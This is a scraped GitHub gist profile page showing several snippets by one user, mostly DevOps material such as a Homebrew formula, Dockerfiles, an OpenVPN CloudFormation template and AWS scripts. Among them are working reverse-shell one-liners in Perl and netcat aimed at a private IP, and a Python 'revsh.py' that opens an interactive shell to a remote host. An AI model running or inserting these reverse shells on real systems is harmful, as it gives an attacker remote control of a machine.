Skip to content

Instantly share code, notes, and snippets.

View omerxx's full-sized avatar
🎱
All is as thinking makes it so

Omer Hamerman omerxx

🎱
All is as thinking makes it so
View GitHub Profile
class Mytool < Formula
desc "It does this and that"
homepage "https://github.com/myaccount/mytool"
url "https://github.com/myaccount/mytool/releases/download/v0.1.1/mytool.tar.gz"
sha256 "<SHA256>"
def install
bin.install "fed"
end
{
"AWSTemplateFormatVersion": "2010-09-09",
"Description": "Launch OpenVPN Server in an existing Virtual Private Cloud (VPC).",
"Parameters": {
"InstanceType": {
"Description": "Instance type for OpenVPN Server",
"Type": "String",
"Default": "c4.large",
"AllowedValues": [
"t2.micro",
FROM crystallang/crystal as builder
COPY . /opt/app
WORKDIR /opt/app
RUN crystal build --static --release src/myapp.cr
FROM scratch
WORKDIR /opt/app
COPY --from=builder /opt/app/myapp /
CMD ["/myapp"]
perl -e 'use Socket;$i="10.10.15.211";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
nc -e /bin/bash 10.10.15.211 12345
@omerxx
omerxx / revsh.py
Created April 4, 2018 13:21
Reverse shell in python
#!/usr/bin/python
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<my ip address>",2375));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
# uses Docker Multi-Stage Build
# https://docs.docker.com/v17.09/engine/userguide/eng-image/multistage-build/
# -- builder container
FROM node:9-alpine as builder
# download Yelp/dumb-init
RUN apk add --no-cache curl
RUN curl -sL https://github.com/Yelp/dumb-init/releases/download/v1.2.1/dumb-init_1.2.1_amd64 -o /sbin/dumb-init \
&& chmod +x /sbin/dumb-init
WORKDIR /opt/app
@omerxx
omerxx / openbastion.py
Last active March 9, 2018 11:31
Open bastion host security group with the current IP linked to a specific port
# Changing port on the host using
# vim /etc/ssh/sshd_config
# Find '# Port: 22', uncomment and change to desired PORT
# Config your local environment to SSH with the new port:
# Host bastion
# User ec2-user
# Hostname bastion.company.com
# IdentityFile ~/.ssh/mykey
import boto3
# Listing all stacks in the AWS account that are currently active
def list_stacks(client):
response = client.list_stacks(
StackStatusFilter=['CREATE_COMPLETE', 'UPDATE_COMPLETE']
)
return response
# Iterate through the list and delete everything
awscli:
image: omerxx/awscli
volumes:
- ~/.aws:/root/.aws
command: tail -f /dev/null
# Usage:
# Save as docker-compose.yml
# Run docker-compose up -d
# Run docker exec -it $(docker ps -q) /bin/sh